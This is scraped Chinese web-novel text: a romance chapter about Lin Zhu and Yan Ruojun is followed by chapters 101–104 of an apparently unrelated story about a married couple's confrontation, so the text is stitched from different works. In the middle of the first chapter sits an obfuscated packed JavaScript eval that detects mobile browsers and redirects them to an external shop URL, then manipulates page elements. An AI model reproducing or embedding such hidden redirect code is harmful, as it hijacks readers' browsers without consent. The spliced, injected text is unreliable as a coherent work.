林逐简直不敢想象自己在严若筠心里是个什么形象,耳根骤然滚烫,硬着头皮解释道:“哎……我没,不是……” 他敛着眉眼,紧紧盯着自己面前的水杯,绞尽脑汁憋出一句:“我…我真的没有想过要把你按在桌子上啵嘴!!” 林逐这句话说得又快又急,音量也不自觉地放大了些,生怕对面的男人听不清楚。 下一秒。 两手端着鸳鸯锅底的服务员小哥站在小隔间的门口,脸上满是尴尬而不失礼貌的微笑,“呃……不好意思,打扰一下,锅底已经备好了哦。” 小哥的动作很麻利。 他飞快地架好了锅底,开启电源开关并调整好温度,最后贴心地提醒道:“桌上有二维码,点菜加菜请自行扫码点单。” 然后就脚步飞快地转身离开了,仿佛屁股后面有老虎在追。 林逐痛苦面具:“…………” 这到底,是什么人间疾苦?? 鸳鸯锅底本就是热腾腾地端上来,稍一加热就开始咕嘟冒泡,香辣的味道融入空气中,化作一阵湿热的白雾,袅袅地向上飘。 隔着半透明的烟纱,视线变得模糊。 严若筠仍旧是手掌撑下巴的姿势,蜷起的手指抵在唇间,将饱满柔润的唇肉压出些许痕迹。 他偏头看向林逐,长而翘的睫毛扇动两下,在瞳孔里剪出粼粼的光,光影之间,闪动着隐藏得极深的戏谑。 金发少年满脸‘我是谁我在哪儿’,要是再不说句话,严若筠怀疑他会直接从窗户口跳下去。 于是,他清了清嗓,慢悠悠地说了句, “——放心,不报警。” 他抄起手机扫码,然后把手机塞到林逐的手里,又补充了一句,“而且想想又不犯法,你怕什么?” 林逐挣扎道:“……我没想,真的。” 严若筠点头:“嗯嗯。” 林逐:“…………” 哼。 - 俗话说得好。 没有什么事是一顿火锅解决不了的。 林逐深以为然。 严若筠出人意料地能吃辣,他全程就没见男人往清汤锅里下过筷子,连干湿蘸料都是红彤彤的一片。 吃到最后,两个人都满头大汗,嘴唇被辣得通红,还有些微微发肿。 严若筠的用餐仪态说不出来的好看,哪怕是擦汗,捧着牛奶小口啜饮这些寻常小动作都透着一股跟别人不一样的优雅。 大概可以归纳为,气质之类的东西。 林逐总是忍不住观察着男人的小动作,心里充满了莫名的新鲜与探索欲。 不知不觉,就吃撑了。 待两人走出火锅店的时候,已经快要八点了。 外头天色愈发暗。 老街区不如商业街那样明亮热闹,连路灯都明一盏,灭一盏的。 严若筠带着林逐原路返回,从主干路段绕进狭窄的街巷之后,光线明显又暗下来一个度。 兴许是吃累了,两人陡然安静下来,默不作声地并肩而行。鞋底蹭过粗糙的石板路面,发出细微的闷响。 严若筠臂弯里挂着他的西装外套,白衬衫领口微敞,后颈腺体处贴着一块成人半个手掌尺寸的加大型号阻隔贴。 林逐知道,自己的咬痕就藏在下面。 又拐过一个弯。 前头的路灯连坏两盏,整条窄巷都是黑黢黢的,路面不太平整。 严若筠突然脚步一顿,似无意地感叹了一句:“好暗啊,小心别踩坑摔了。” 林逐茫然地低头看了看,没发现地上有明显的障碍物或凹陷,但还是主动道:“要不我走前面吧?” 严若筠问:“你认路吗?” 林逐肯定地点点头,对自己的记忆力很有信心:“嗯,你来时带我走过一次,我已经记住了。” 黑暗中。 传来严若筠一声淡淡的叹息。 紧跟其后的,是系统在他脑中发出的另一声‘哎……’ 林逐猛然警觉,却不知道这一人一统在叹些什么。他不好意思问严若筠,便戳了戳跟他时刻绑定的系统,默声咨询。 系统唉声叹气,假意推脱:“宿主,我怕说出来有染视听,还是不说了。” 林逐:“……” 你明明就是,在记仇。 好在系统蛐蛐一句就爽了,语气从失落黯然到兴奋激动只需要一秒,情绪切换比德芙还丝滑,还刻意掐着电子音,谄媚谏言道:“小主儿,统子这边有三个建议,您要听听吗?” 林逐虚着眼:“说来听听。” 系统:“第一个建议,冲上去,按住主角,啵他的嘴。” 林逐:“下一个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13707596|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统:“按住主角,啵他的嘴。” 林逐:“……再下一个。” 系统言简意赅:“啵嘴。” 这场由严若筠发起的叹气接力赛,终于轮到林逐接过最后一棒。 ……哎。 林逐默默加快脚步,只超过严若筠半个身位,然后小心地伸出手,像男人之前拉他上楼一样,牵住了对方垂在身侧的手背。 严若筠的手挣扎了一下,随后将手掌反转过来,与林逐掌心相贴,纤长的食指顺着他的袖口钻进去,轻轻扣在手腕内侧的脉搏处。 嘭嘭、嘭嘭嘭—— 男人的语气里噙着笑意:“林逐,你的心跳好快啊。” 林逐不吭声,认真带路。 严若筠的脚步却突然慢下来,几乎是被林逐拖着往前走,说的话也是漫无目的的,“等下带你去买个书包吧,你喜欢什么款式的?” “都行。” “我明天就要出差了,上次跟你说的一起去医院检查延后吧,等我回来再说。” “好。” “我不在的时候,你要乖一点,最好能主动跟我报备每天做了什么,我要查岗。” “……嗯。” “你不觉得我太强势,看起来很像一个控制狂吗?其他Alpha好像都不喜欢这种类型的Omega。” 林逐顿了顿,没回头:“可我…我不是其他Alpha啊?” 他原就是个普通人。 作为一个半路出家的Alpha,这个世界的AO择偶标准对他来说,毫无意义。 短短的一段路。 两人磨磨蹭蹭地走了好久。 几米外的前方又是一道弯。 昏黄的光线从弯道口照射进来,预示着这段黑灯瞎火的小路即将走完。 严若筠冷不丁地道:“林逐,我口袋里有两粒薄荷糖,你现在还想吃吗?” “……” 光线就在前面一步远的距离。 可两人谁都没有往前走,而是沉默地停留在这片暧昧得让人心慌的暗影中。 很快,寂静的巷道中响起剥开糖纸的撕拉声,突兀刺耳,但这声响很快又被另一种声音盖过。 那是一种沉闷且湿润的声音。 清凉的薄荷糖在唇齿间融化,与津液合二为一,变成一种略微粘稠的微甜液体,而后在唇与舌的牵扯中…… 被稀释,被吞没。 林逐像是一个稚嫩的、刚刚睁开眼睛的孩子,在男人耐心且温柔的嗓音中,被带往新的世界。 然而,有些事是刻在基因里的本能。 比如口渴了就要喝水,比如缺氧了就要呼吸,又比如……当资源匮乏的时候,就要寸步不让地争夺,直至对手狼狈讨饶。 不多时。 巷子里响起严若筠口齿模糊的声音。 “松开、松开一点!” “林逐,我快…快喘不过气了,你是要亲死我吗?!” “……林小狗,别咬我舌头。” 无人应答。 林逐衔着男人温热的舌尖,压根听不清他在说些什么,只是一个劲儿地吞咽着口腔里所剩不多的薄荷糖水。 他半睁开眼,骤然沉溺在那汪雾气缭绕的灰绿泉水中,恍惚间,似乎听到了一道无机质的电子音…… 【叮——!】 【‘人设同步’子系统安装已完成。】 纷杂的声响交织在一处,盖过了那道飞快掠过的电子音,只在林逐的脑中留下一抹浅浅的印象。 ……是幻听吗? Chapter 101 这台词实在太耳熟了。 此情此景, 仿佛是昨夜的重现,只不过两位演员进行了角色互换——被质问的,变成了发出质问的那个人。 系统还在时蔺川的脑子里感叹着, “宿主,他说的可都是你的词儿啊。” 可说到底—— 昨夜是昨夜, 今天是今天。 时蔺川也不会变成谢景和。 他没有解释, 反而火上浇油道:“早晨有个美女打电话给我,约我出去见一面,可能是跟她共处在同一个狭窄的空间, 不小心染上味道了吧,香吗?” 两人之间几乎没有距离, 仅靠谢景和的两只手掌撑出一条极为狭窄的缝隙。 黑色围巾从他的指缝垂落, 有一截落到地上,轻轻擦着他的脚背。 时蔺川半颌着首,嘴唇蹭着他的耳尖,湿润的唇齿音格外明显,说话时呼出的热气一个劲儿地往谢景和耳道里钻。 痒。受不住的痒。 他接着说:“对了, 这幅新眼镜就是她帮我选的, 好看吗?” 谢景和被他压迫着, 整个人紧贴墙壁, 脑袋不由自主地偏向一侧,长长的一条颈子扭出很夸张的线条。 听到这话,他颈侧的青筋鼓起来, 每呼吸一下, 细长的肌肉便跟着起伏,频率很快。 从时蔺川的角度,能清晰地看见他抿紧的唇, 呈现出一道不开心、掺杂着委屈意味道的弧线。 真是可怜见的。 可惜他心硬,还追问了一句, “问你话呢,好不好看?” 谢景和没答话,撑在男人前胸的双手暗暗使劲儿,想要将对方推开来。 时蔺川偏不让他如愿。 他猛地抓住谢景和的两只手腕,冷不丁地往上扯,将其交叠着按压在墙上,同时两条腿分别制着谢景和的膝盖,卸了他的力气。 黑色围巾彻底掉落,恍如一团扭曲的阴影盘卧在地面,被时蔺川踩了好几脚。 谢景和的脑袋往哪边偏,时蔺川的脑袋便跟过去,不停追问:“哑巴了?怎么不说话?你是不是又要哭了?” 反复问了几次。 谢景和骤然抬头,对他怒目而视,梗着脖子,嗷一嗓子喊道:“ 难看死了!你丑得像是植物大战僵尸里的大窝瓜,戴什么都难看!” 他不知道自己的眼眶已经红了,搭配着那头睡乱了的头发,看上去没有一点攻击性,反而很可怜,像是被欺负得快要炸毛。 全身上下写着四个大字:虚张声势。 时蔺川被骂难看也不生气,很淡定地接话道:“这样啊,那你跟丑窝瓜睡了三年,晚上不会做噩梦吗?” 谢景和使不上力气,干脆放弃了挣扎,跟时蔺川一改往日的亲密黏糊,转为你一来我一往地呛声。 他应道:“谁让我不挑食。” 时蔺川跟着道:“那你是真饿了。” 谢景和又说:“你说得对,别人随便给我买一个甜得齁死人的马卡龙,我就能脱裤子让人内○好几回,我不值钱。” 时蔺川张了张嘴:“……” 谢景和问:“还要继续吗?” 时蔺川冷脸注视着他,将人扣得更紧。 以往三年,谢景和对自己说话要么轻声细语,要么朝气蓬勃,要么喑哑嗲腻……这还是他第一次在自己面前表现出如此牙尖嘴利的攻击状态,一时间让他接不上话。 当然了,时蔺川是不会退让的,只是他辛辛苦苦做了很久的饭,再不吃就冷了。 他为什么要因为谢景和吃冷饭。 时蔺川稍微后退半步,缓缓撒开了谢景和的手,没想到自己刚转过身,朝房门的方向迈了一步,后头的人就扑了上来。 谢景和的两条胳膊环住他的腰,每一根手指头都扣进他的衣服里,使得褶皱曲折凌乱。 时蔺川下意识地垂眸看了一眼。 谢景和的手背瘦削骨感,关节绷得很紧,有根小指不受控制地颤了好几下。 “……别走。”他低声说。 他大概是误以为时蔺川跟他吵架吵出了火气,转身想要离开这个家。 此刻,他的前胸贴着时蔺川的后背,胸膛起伏的节奏和幅度都实时同步传递给了被他搂抱住的男人。 轰轰烈烈,毫无隐藏。 时蔺川看不到他的脸,便盯着门,很随意地说了句,“我凭什么要走?我肚子饿了,要换鞋去吃饭。” “你鞋呢?被你吃了?” 谢景和沉默片刻,兀自问道:“你刚才到底干嘛去了?为什么身上有香水味?真的找别人陪你去配新眼镜了吗?” 良久。 时蔺川说:“你不是自己说了么?没人会饥渴到喜欢丑窝瓜,刚说完就失忆了?” 谢景和抽了抽鼻子:“我啊,我饿了。” 时蔺川:“……” 空气安静了好一会儿。 谢景和将脸贴到他脊背处,忽然唤了他一声,随后轻声问道:“她漂亮吗?” 时蔺川:“别说了。” 闻言,他却自顾自地继续往下说:“她也喜欢看你戴眼镜的样子吗?真的很性感,我最喜欢你戴眼镜的样子了,不戴也喜欢……” 时蔺川闭了闭眼,额角阵痛。 “让你不要再说了。” 谢景和还是说:“我知道你没有出轨。” “昨晚我脑子不是很清醒,我刚才仔细回想了一下……蔺川,其实你是知道我没有出轨的吧?但你还是要那么说我,为什么?” 他并不是开口讨要一个答案。 下一秒。 时蔺川就听他自问自答地道: “……你只是讨厌我而已。” 他的话音刚落,时蔺川就听到一声很轻的哽咽,只是还没来得及从咽喉哼出来,就被人死死压下去了。 谢景和的脸在他背上滚了两圈,不知道在蹭什么,蹭完他继续说:“我知道结婚的时间久了,伴侣之间的感情会产生一些变化,以前喜欢过的优点可能会变成缺点,但是蔺川…我们才结婚三年,你就已经觉得我浑身都是缺点了吗?” “可我该怎么办?” “我还是觉得你很好。” 时蔺川看不到谢景和的脸,可光是从对方的声音里——就能听出萦绕在他心间的巨大困惑,而这股困惑顺着风,悄然钻进时蔺川的耳朵里,沿着血管抵达心房,在那块血肉之中生根发芽…… 于是,时蔺川也被巨大的困惑笼罩。 他怔忪了几秒,忍不住道了声, “那是因为……” “你根本就不了解我。” 102、Chapter 102 .. 你根本就不了解我。这句话宛如摄人心魄的魔咒, 一连数日盘旋在谢景和的头顶。它轻轻搅动着气流,将冷空气搅成了一阵呼啸的飓风.飓风眼里,他看到了时蔺川的背影。男人站在一片空旷的废墟中,脚下是满地的裂痕,仿佛每一道裂痕的阴影里都藏着不为人知的秘密,晦暗又沉重他就站在那里。 远远的,谢景和唤了一声他的名字。 于是,男人转过身来。他看起来很温柔稳重,薄唇抿起,嘴角弯出一道很柔和的弧度,眼睛藏在一副里框眼镜后头,镜片反射着白光,很显人 谢景和快要被晃晕了。然而,下一秒。男人的身影像是被风吹得起皱的湖面,容颜变得扭曲模糊,谢景和眨了眨眼,想要看得更清楚,却发现那人脸上的笨重眼镜不翼而飞了,露出一双锋利的眸子,瞥过来的每一眼都夹风带雪似的凛冽,就连唇边的笑也泛着气人的嘲讽。“嗯?又气哭了?" 男人的话音刚落,他唰的一下睁开双眼! 谢景和: 有光从窗帘边缝悄悄溜进来,将卧室填涂成柔和不刺眼的暗黄色调。 谢景和平躺着,盯了天花板好一会儿,脑海中仍残留着刚才梦境的最后一幕.….随着男人轻佻无所谓的语调,一个气球落了下来。 沉甸甸的,压在他身上。 谢景和沉默翻身,毫不意外地发现身边的位置已经空了, 意识到这一点后,压在他胸口处的气球砰然炸开了,炸出一床的失落与茫然,以及一点点说不清的委屈。时蔺川不在。此时,距离那个极具颠覆性的夜晚已然过去了一周的时间,谢景和左腿根的那枚纹身愈合得很快,前两天就结了痂,脱了皮,可他跟纹身主人却僵持在原地,处在一个不上不下的沉默状态。有点像是在冷战。思及此处,谢景和翻身坐起来,忍不住将男人的枕头抱起来,反扣在怀里,将其当成时川本人,熟练地施展了一套锁喉,直接从床头滚到床尾。来回滚了好几圈才停下。 ".坏男人。" 他抱着枕头深深嗅了一口,如是说道。 就在这时。 躺在床头柜上的手机骤然响起铃声,并伴随着嗡嗡的震动声。谢景和迅速伸手,在手机侧边按了一下,关掉了闹钟。 屏幕亮起来。 现在是上午八点整。 电子时钟表盘底下显示着一张黄底黑字的虚拟便签纸,上面只有一行关于今日待办事项的备注字样。[上午十点,约了NO1裴总谈经纪约。] 铜城近几年致力于开发文娱产业,NO1的公司大楼位于前几年刚落成的南区综合产业园中,地段优越,环境舒适整栋大楼分了好几个区块,包含了展厅、办公区、以及提供公司旗下艺人使用的练舞厅、录音室、摄影厅等等当初裴悦带着一批艺人跳槽来到NO1,几年间又签了不少人,如今旗下不乏一线二线演员、歌手,还签了数位大体量网红主播 势头一片人好。 尤其今年有两部由NO1主投的影视剧爆出了圈,赚得盆满钵满不说,还赚了不少名气 要知道在这年头,流量就是钱,都是能变现成的。因此,NO1在众多娱乐公司里头算是很有一号了,更别说作为执行总裁的裴说,还是圈里知名的金牌经纪人,最大的招牌就是带出了两位影帝,能力自然不必多说。不过NO1最为外界所津津乐道的,还是那位基本没露过面的神秘老板,以及那间空了三年的总裁办公室不仅外界好奇,就连本公司的全体员工也很好奇。员工们私底下众说纷纭,还分出了好几个流派,什么高干流啦、豪门流啦、以及八国混血贵族流啦甚至有公司高层主动下场凑热闹,组了个匿名群,在群里开盘,让大家猜一猜这位神秘大老板究竟什么时候才会现身。这天,是个很普通的上班日。 上午九点出头。 则匿名消息引爆了大群的热度。“NO1的家人们,那辆总裁专属的电梯被人刷卡使用了总所周知,拥有那层楼的使用权限的人只有!!!"“卧槽,真的假的?"“卧槽,蒸的煮的?“卧槽,煎的烤的?群消息飞快地往上刷,转眼就99+了. 没什么有营养的信息,全是一溜水儿的队形发言和震惊表情包,但很快,所有人达成一致,齐刷刷地问道“大老板长什么样?男的女的?长得好看吗??"片刻后。有人跳出来,打乱了队形。“我刚才上班迟到,远远看到裴总跟一个穿着黑西装的男人走在一起,然后就多留意了几眼,发现他们坐了总裁专属电梯。“你们懂的,裴总一直坐的是普通员工电梯,所以排除一切不可能因素,剩下的就是真相! 下一秒,有人出来吐槽。“朋友,前摇不要太长,不然我等下登后台去看一下今天谁迟到了你懂的[微笑,jpg] “卧槽,这是领导。 “不敢吱声”于是,刚才那位打乱队形的人一秒怂了,连忙发了个土下座的表情,用十分简练的语言公布了真相."……帅的。 “不,应该是说,好他妈帅!!"十四楼,总裁办公室,时蔺川站在落地窗前俯瞰底下的街景,地上的人看起来很渺小,宛如蚂蚁一般,仿佛只是一个会移动的黑点。窗体隐约倒映着他的身影。他今天的穿着很正式,黑色西装的剪裁很得体,袖口缀着两枚宝蓝色的袖扣,头发也打理过了,看上去一丝不苟。除了鼻梁上那副新配的金边细框眼镜时蔺川此时的打扮跟原世界别无二致。利落、干脆、看起来没什么温度。 这时候。办公室里不止他一个人。裴悦坐在待客的沙发上,她举着震个不停的手机看了一会儿,忽然抬眸对站在办公桌后的男人道了声, “老大,有人说你是冰山系帅哥哦。 闻言,时蔺川回头瞥了她一眼。 虽然没开口说话,但那双如点漆般的黝黑瞳孔里明晃晃地映着两个字。 无聊。这反应在裴悦的意料之内。她把玩着手里的小方块,忍了忍,实在忍不住好奇,打趣似的问道:“老板,你该不会对着家里那位也这么冰山吧?"说完,她又补充道:“他怎么受得了你啊?没跟你吵架?"时蔺川又瞥了她一眼,薄唇微启。“你很闲?" 好吧。 这反应也在裴悦的意料之内。她耸了耸肩,随即站起身,边往门外走,边发出一声长叹:“好好好,我这个无关紧要的人就先行退场了,不耽误你们夫夫坦诚相见。裴悦的声音逐渐减弱。 一声闷响之后。 办公室的门闭合了。 整个空间安静得可怕,只剩下时蔺川自己的呼吸声。他盯着底下的景色,垂落在身侧的手握着黑曜石色的手机,屏幕保持常亮状态。 手机界面显示着铜城地图。 地图上有两个红点,一个静止不动,另一个红点闪烁着,匀速朝静止的红点靠近 很快。 两个红点的位置即将重合与此同时,时蔺川看到一辆熟悉的银灰色保姆车驶入产业园的大门。他知道- 谢景和就在车里面。 103、Chapter 103 . 车子缓缓停靠。窗外的景色不再后移,而是固定在一栋银灰色调的大楼,嵌在墙面的公司Logo在日光照射下熠熠生辉"谢哥,到地方了。"乐言见男人久久未回神,忍不住开口提醒了一句,她顿了顿, 又问:“谢哥, 你还好吗?谢景和收回不聚焦的视线,点头示意自己没问题。他深吸了一口气,脸上的表情随即焕然一新,看上去沉静极了。 后车门打开。 谢景和独自下车,朝大楼的玻璃门走去。 NO1是近几年名声鹊起的娱乐公司,他对这个名字并不陌生,甚至自己参演的几部戏都有它的注资。 也算是有些缘分了 对于裴悦对自己伸出橄榄枝这件事,谢景和有点意外,却也不是太意外自从他被曝出跟馥光娱乐打起了解约合同之后,谢景和收到过几家娱乐公司的邀约,但出于种种考量,他不想那么快做下决定 这正好解释了对方在第一次见面时,对自己展现的过分热情。 主要是因为, 谢景和这几年确实没什么冲劲了 尤其是在他跟时蔺川结婚之后,每一次长期外出,谢景和都要全力抑制自己对丈夫的思念和渴望。 他不是不喜欢演戏了,而是… 算了。 先不想这些了。 谢景和晃了一下脑袋,甩开一连串不自觉冒出来的纷杂念头,任由前台招待员领着自己上了电梯,准备跟裴悦见面细聊。 对方前两天主动给自己发信息,并发出了邀请。她在微信上提前透露的部分条款让谢景和有些心动,故而有了今天的会面。 电梯上行。 谢景和忍不住忆起那晚饭局上的初见。 女人坐在他身边, 跟导演举杯畅聊时,总是朝他的方向偏过脸,视线和身上的香水味 起飘过来, 香水。想到这里,谢景和不自觉地敛起眸,唇角轻轻抿合,心下却闪过一道说不明道不明的思绪.…像是醒来后被遗忘的梦,又像是没来得及握住的灵感,此时此刻,他有股异常强烈的[自己好像忽略了什么重要事情]的感觉。就在这时。哒的一声,皮鞋和高跟鞋跟敲击地面的合奏被写下了休止符这层楼很安静,看样子没什么人,只有寥寥几扇紧闭着的办公室门,可想而知里头的占地面积有多大。工作人员将谢景和带到走廊中央的办公室门前,蕴含着莫名激动的眼神从他身上飞快扫过,很礼貌地示意道:“谢老师,大老板在里面等您。“他吩咐过,您直接推门进去就好。谢景和没多想,只以为对方口中的''大老板”就是裴悦,道了声谢后,他毫无防备地推开了面前这扇未反锁的门.….门后的空间很明亮,也很宽阔。午前的阳光穿过一整面坡璃墙跳进来,将大理石地面照射得很通透,宛如一面翻转横平的镜子,很诚实地映着来人的表情,谢景和仿佛被某个不知名的存在按下了暂停键,整个人怔在原地,脸上的表情几乎可以用''一片空白’来形容。 茫然? 程度太轻。 震撼? 似乎还是不够贴切。 他就这么愣着,直到身后的办公室门自动合上,发出一道很沉闷的响声,这声儿宛如晴空炸雷, ,一下子劈开了他凝滞的神经。 就见偌大办公室中央摆了张黑漆桌子,穿着黑西装的男人坐在其后,一只手很随意地摆在桌面上,他的指节修长,食指与中指之间夹了一支钢笔 钢笔在男人的指间翻转了好几圈,化为一道黑曜色的虚影,仿佛能吸走人的魂魄。 “啪。时蔺川将钢笔放到桌上,而后抬手推了一下眼镜,微笑着问呆站在门口的人,怎么不过来坐? 谢景和今天穿了一身休闲款西装,外头套了件同色系的大衣,虽然样式简约低调,但领口和袖口处做了些小设计 很亮眼。 是一套非常适合跟人谈话的打扮, 时蔺川将他上下打量了一番,见人仍是站着不动,便自己起身踱步到一旁的柜台的咖啡机旁,还很随性地问了一句, “还是给你加两包糖? 不必回头,时蔺川也知道谢景和的视线跟随着自己。于是他耐心地等待着,终于在端着两杯咖啡往回走的时候,等到了对方的回应。谢景和张了张口,没能发出声音 又过了好几秒。 他费了一番功夫才找回自己的声音,嗓音比平时更加低沉嘶哑,声量放得很轻,每一个字都吐得艰涩。 他问, …你为什么在这里? 时蔺川微微一笑,反问: “我为什么不能出现在这里?"说这话时,他慢踱着步返回,将一杯没放糖的黑咖啡放到自己身前,然后把另一杯放了双倍糖的咖啡推到桌子对面“坐下说。谢景和似乎变成了他手中的提线木偶,在自己不容置疑的指示下,缓步走了过来。…像是走向一团迷雾。时蔺川盯着他怔忪的神情,嘴角咧出冷森且玩味的笑,主动开口道:“是我让裴悦把你约过来的,所以我当然在这里。他伸出食指点了点桌面,接着说:“况且这里本来就是我的地盘。迷雾拨开了一角,露出底下的片刻真容。 谢景和也盯着时蔺川,跟他四目相对。 随后,谢景和慢半拍地点点头,说了一句自己听了都觉得匪夷所思的话。 ".有烟吗? 时蔺川的回答很简单 他从抽屉里翻出一包烟和打火机,倒出一根,自己衔咬着烟蒂点燃了,呼出第一口灰白烟雾之后,才转向谢景和,同时将夹在指尖的香烟递到他面前,语气恶劣地问道: “不介意吧? 谢景和径直接过烟深吸一口,随即烟雾从他的唇间逸散出来,糊了面容。 原来人在不知道做什么反应的时候,真的是会笑出来的。 谢景和忽然笑了一下,淡声道:“不介意,我又不是没吃过你的口水,连你的。液我都不知道吞过多少次了,这有什么好介意的?时蔺川想了想,领首附和道:“说得也是。紧接着,谢景和又问:“所以…,你从一开始就在骗我?这几年在证券公司上班是在骗我,被裁员也是在骗我,还有那天饭局上发生的事,也是你专门给我设的局?闻言,时蔺川也打开了话匣子。 他的语气非常轻描淡写,仿佛在说今天天气真好那般,轻飘飘地承认了所有。 对。 谢景和熟练地问:“为什么? 这些天他一直在想这三个字,为什么? 可是时蔺川给出的答案太过笼统,他始终想不明白——到底为什么? 讨厌一个人是这样的吗? 谢景和完全无法理解。 不等时蔺川回答,他自己继续往下说。 “你是NO1的老板,级别比裴悦还高所以你不是为了钱,那你是为了色吗? 说到这里,谢景和自我反驳道:“不对啊,我也没好看到这种地步吧? 在他说话的时候 时蔺川已经离开了自己的位置 他慢悠悠地走到谢景和的侧前方,然后半倚半坐在桌子边缘,一双大长腿前后摆着。 时蔺川单手着插兜,闻言,另一只手轻轻抚上谢景和的下巴,将他的脸抬了起来,居高临下地端详两秒,点评了一句, “也不用这么妄自菲薄。 他没哭。 目前为止,还没哭。 于是时蔺川俯身弓腰,凑到谢景和的耳边轻声道:“你在床上扭起来的样子特别好看,特别带劲,叫|床声比唱歌都好听.! 他的用词粗俗低劣到了极点,每一个字都像是裹着泥浆,肆无忌惮地涂在两人过去三年的每一夜温存或疯狂之上 说完,时蔺川侧过脑袋,近距离地审视着谢景和的神情,发现他只是任由自己掐住他的下巴,兀自敛着上眼皮,注视着空无一物的地面,然后 沉默地吐了个烟圈。 这种反应实在太平淡了。 时蔺川不是太满意 于是他松开了谢景和的下巴,指尖却没有离开他的皮肤,而是逐渐往上,再往上, 时蔺川将大拇指压在他柔软干燥的下唇中央,反复揉按了许久,直至将他的碾成了略艳的颜色 然后,他慢悠悠地道了声, “不过我现在好像有点腻了。" 谢景和的表情还是没有任何变化 可时蔺川却眼尖地警见他的手指蜷了一下,不小心将烟蒂捏成扁圆的形状,烟灰也掉落了一大截。 见状,他才满意地笑了笑。 然而,就在时蔺川还想再说点什么的时候,谢景和忽然抬手,将手里剩了半截的烟丢进一口未动的咖啡杯里。 他的准头很好。 呲的一声。 烟头的焰色霎时被咖啡液熄灭。 时蔺川想过几种可能- 谢景和可能会像上次那样怒急了,跟自己动手,也可能会难受到落泪,甚至还可能掉头就走 可他万万没想到, 谢景和抬眸看向他,眼尾微红,语调却平静得像是一条水平线, “你说我根本就不了解你,可我怎么觉得 “时蔺川,你只是不想让我了解你。 空气一下子冷了下来。 焦烟味与咖啡味混合,形成了一种很复杂的味道,有点像是硝烟味。 时蔺川顿时变成皮笑肉不笑的模样,按压对方下唇的力道加重,指尖几乎探进了谢景和的口腔中 似乎想要阻碍他继续说话。 但谢景和还在说, 你是在害怕什么吗? 他仰着颈子,死死盯着身前的男人 时蔺川与之四目相交,仿佛看到有火从谢景和的眸中掉出来,落到自己身上的那一刻,火势燎起来,灼烧着他的血肉与神经。 他瞪着谢景和,咬牙切齿。 104、Chapter 104 . 办公室里。 气氛有些剑拔弩张。 时蔺川半倚半坐在办公桌边缘,哪怕倾身弓着腰,也比坐在椅子上的谢景和高多了。 两人一高一低,两相对峙着。 时蔺川身形高挑,黑西装包裹着男人的宽肩窄腰,当他居高临下地睨着人时,来自上位者的压迫感顿时倾泻而下 谢景和首当其冲。 或许是今早那个短暂梦境给了他一丝灵感,又或许是尼古丁带来的错觉,谢景和盯着气质森冷的男人,脑子里冒出来的却是另一幅画面。 飓风眼。废墟。深不见底的裂痕。男人孤身立在那里,整个世界摇摇欲坠,濒临毁灭。 有科学论证, 梦境能够反映一个人的潜意识。笼罩着自己的巨大疑惑,其实潜意识早就给出了答案谢景和不甘示弱地与男人对峙,甚至抬手揪住了他的衣领,将两人之间的距离缩短到了极致,几乎是唇挨着唇,呼吸交缠. 下一秒。 时蔺川听到他一字一句地问: ".你在害怕,我说对了吗? 这一瞬间。 空气中的硝烟味达到顶峰。 时蔺川忽然听到了一阵噼里啪啦的奇怪声响。 他静静地听了两秒,发现这声音居然是从自己身体里传起来的,仿佛这具躯壳里骤然燃起了白日焰火,火舌肆意舔舐着血肉,血液里的氧气很快消耗一空。 因此,时蔺川的呼吸不自觉地加重、加快。 可这番举动无异于火上浇油。怒火逐渐聚集在他的胸腔,越烧越旺,快要将他的理智烧断。长达数秒的沉默之后。时蔺川脸上的假笑彻底消失不见了。他冷着脸,死死瞪着谢景和,掐住对方下颌的力道愈发重,大拇指已经闯进他湿热的口腔中,指腹按压住那条不听话的舌,讥讽道"你说对什么了?”这根本不是一场对等的谈话。谢景和被他手动禁言,喉咙里根本吐不出一个清晰的字音,只能用那双同样快要烧起来的眸子瞪时蔺川,眼神倔强极了。时蔺川的额角一直跳,像是想要将对手驳倒一般,他说话的语速越来越快,尾音上扬。谢景和,扇巴掌,拽领子“所以你以前都是在我面前装乖装嗲吗?那我是不是也要猜一下,你这么做是怕我不要你?!"这间办公室的面积实在太大了,门窗紧闭,将男人过高的音量死死困在里面,仿佛泛起了回音时蔺川面若冰霜,胸膛却剧烈起伏着。 听着室内的余音回响,他忽然感到些许悔意。 活了三十多年,时蔺川从未对自己做下的决定感到后悔过。 今天算是第一回。 …或许今天他不该出面的。时蔺川心想。 看来过于讨厌一个人,真的会影响到自己的状态,从而做出某些不理智的决定。 系统说得很对。 加戏是一种浪费时间和精力的行为,自己没必要因为谢景和太讨人厌而故意折腾他,有这个时间还不如去多外理几份文件。 起码文件没长嘴巴,不会说话。 ….接下来的事还是让裴悦来处理吧。 冷静过后,时蔺川缓缓呼出一口气。 他将自己的大拇指从谢景和口腔里退出来,然后很不客气地将指腹的湿润抹到对方脸侧,视线下移,扫了一眼自己的锁骨处,冷声示意道: “到此为止,松开你的手。 谢景和定定地看着他,好半晌才撒开了手里皱得不能看的白衬衫衣领,随即抬起手背擦了擦自己的脸。 他的表情看上去气愤又委屈,屁股却乖乖坐在椅子上,腰背挺直。 时蔺川一边整理领子,一边想道: 谢景和大概想要跟自己接着聊,但他…现在已经不想听谢景和开口说话了, 哪怕只有一个字。 时蔺川直起腰,习惯性地推了一下眼镜,声音冷得快要滴出水,似乎想要就此浇灭胸腔里的那团火, “看来我们没办法建立友好的沟通,算了,我去找裴悦.” 话音刚落。 他瞥见谢景和的左手小指狠狠弹了一下。 时蔺川本该径直往门外走,可谢景和此刻的表情却将他留了下来 那双深邃眼眸里的倔强逐渐消退,不确定的神采若隐若现。 明明在意得要命,还强装镇定。 谢景和紧张了,时蔺川却恢复了从容。 他后退一步,重新靠回办公桌边缘,同时挑了挑眉,很有兴味地问道:“你之前不是说相信我没出轨吗?那还摆出这幅表情给谁看? 谢景和双唇抿紧: 时蔺川发现自己再度占据上风,态度又变得咄咄逼人起来:“你刚才不是很能说吗?怎么现在又哪巴了?说话。 